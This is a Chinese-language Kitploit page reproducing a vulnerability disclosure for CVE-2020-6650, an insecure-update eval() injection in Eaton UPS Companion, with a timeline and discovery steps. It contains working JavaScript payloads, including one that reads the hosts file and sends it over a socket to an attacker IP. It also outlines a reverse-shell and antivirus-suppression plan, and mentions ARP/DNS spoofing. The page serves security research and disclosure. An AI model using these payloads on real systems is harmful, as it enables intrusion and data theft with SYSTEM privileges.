Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Eaton-UPS-Companion-Exploit — 本仓库详细介绍了CVE-2020-6650,这是我在Eaton's UPS Companion中发现的一个漏洞。所有用户应立即升级到v1.06,否则系统可能面临远程管理员访问的风险。 | Kitploit
工具/GitHubGitHub/ravss/eaton-ups-companion-exploit
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队Payload 开发
GitHubravss/eaton-ups-companion-exploit

Eaton-UPS-Companion-Exploit

本仓库详细介绍了CVE-2020-6650,这是我在Eaton's UPS Companion中发现的一个漏洞。所有用户应立即升级到v1.06,否则系统可能面临远程管理员访问的风险。

查看仓库
116年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

Eaton UPS Companion 软件每周都会通过不安全的 HTTP 连接检查更新,并对更新 URL 处的任何内容执行 eval()。这使得攻击者能够精心构造一个 JavaScript 函数,利用后端软件中已经存在的底层操作系统操作,如文件执行、网络套接字和文件系统 I/O。所有这些操作都以 NT AUTHORITY\SYSTEM 权限进行,这很可能是由于 UPS(不间断电源)进行系统管理所需的权限。等待一段时间后,无需任何操作即可自动进行命令注入,从而获得 SYSTEM shell。

此问题已在 1.06 版本中修复,分配的 CVE ID 为 CVE-2020-6650。

时间线 (UTC+12)

发现漏洞2019/10/25 - 21:43
实现利用2019/12/28 - 06:28
向 Eaton 报告2019/12/28 - 10:00
已确认2019/12/30 - 22:05
发送简单概念验证2020/01/04 - 03:32
正在修补2020/01/21 - 12:54
已修补2020/03/21 - 12:21

感谢 Eaton 使此漏洞的披露变得简单。


发现步骤

Eaton UPS Companion 从 http://pqsoftware.eaton.com/upgrade/upgrade_euc.info 获取更新

问题 1: 可通过 dsniff 的 arpspoof 和 dnsspoof 轻松伪造,然后使用 python -m http.server 80。 问题 2: 缺乏 HTTPS 为相同效果打开了另一个攻击向量。

截至 2019/10/25 - 22:08,链接内容如下:

root@kitploit:~
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
  "EUC":
  {
    "WINDOWS":
    {
      "version": "1.04.017",
      "packageURL": "install/win32/euc/euc_win_1_04_017.exe",
      "info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
    }
  }
}

无法确定文件的 SHA1 校验和是如何计算的,或者用什么来计算它,但如果能计算出来,事情会简单得多。

Eaton UPS Companion 在 http://localhost:4679 上创建一个本地 HTTP 服务器。点击 "Version: Eaton UPS Companion v1.05" 会打开一个 "隐藏" 的调试日志,位于 http://localhost:4679/trace.html。也可以通过 cmd.exe 中的 ".\mc2.exe -start -debug" 打开。

提供空 HTML 页面会导致明显的错误并被记录:

root@kitploit:~
2019/10/25-21:32:29.051 | UpdateManager        | !!! ERROR: Update data could not be parsed: 
{
  "message": "syntax error", 
  "fileName": "scripts/libs/json.js", 
  "lineNumber": 122, 
  "stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
  "name": "SyntaxError"
}

这里使用了 eval(),这使我们更容易操作。以下是一个 UI 操作示例,将以下内容放入 update_euc.info。

root@kitploit:~
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})

通过匿名函数,可以将其转换为适当的函数:

root@kitploit:~
(function() {
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()

我认为可能还可以访问 ShutdownManager,这可不妙。

访问 http://localhost:4679/server/data_srv.js?action=init 可以揭示系统工作方式的更多信息。 像 alert() 这样的常规 JS 函数不存在,像 document、console 和 object 这样的对象也不存在。是 ECMAScript 的非常古老的版本吗?也没有 let 关键字,只有 var。

这可能有帮助:

root@kitploit:~
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",

UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});

我可以看到所有 "manager" 对象的属性,例如通过以下方式查看 UpdateManager:

root@kitploit:~
(function() {
  for (var property in UpdateManager) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
  }
})()

对 UpdateManager 执行该操作后发现了这些非常有趣的函数:

root@kitploit:~
selfUpdate IS function () {\n    var packagePath = UpdateManager.retrievePackage();\n    if (packagePath) {\n        ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n    }\n}

retrievePackage IS function () {\n    var updateLocation = UpdateManager.updateLocation;\n    if (!UpdateManager.updateData) {\n        UpdateManager.checkForUpgrade();\n    }\n    if (!UpdateManager.updateData.packageURL) {\n        error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n        return false;\n    }\n    var packageURL = UpdateManager.updateData.packageURL;\n    var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n    File.createPath(UpdateManager.outputPath);\n    if (File.status(packagePath)) {\n        debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n        return packagePath;\n    }\n    debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n    var client = new HTTPClient(updateLocation);\n    var response = client.get(packageURL);\n    if (response && response.status == 200) {\n        debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n        try {\n            File.put(packagePath, response.data);\n            debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n            return packagePath;\n        } catch (e) {\n            error(\"Failed to save update package at '?'\", packagePath);\n        }\n    } else {\n        debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n    }\n    return false;\n}

这清楚地表明我们可以制造问题:

root@kitploit:~
(function() {
  if (System.getAdminRights()) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
  }
})()

还有更多有用的函数调用,例如 File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") 它会把 hosts 文件的内容转储到字符串中,但仅在内部。在深入挖掘 HTTPClient 对象的属性后,发现另一个对象类可以创建套接字。

例如,接收 hosts 文件:

root@kitploit:~
(function() {
  var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
  var s = new Socket("tcp");
  s.connect("192.168.1.???", 44444);
  s.send(hosts);
  s.close;
 }
})()

最终,我发现了 System.open(<file>, <args>) 的工作原理,它可以执行文件。接下来只需要上传一个反向 shell,压制任何反病毒解决方案(因为我们有 SYSTEM 权限),然后获得反向 shell。

下载工具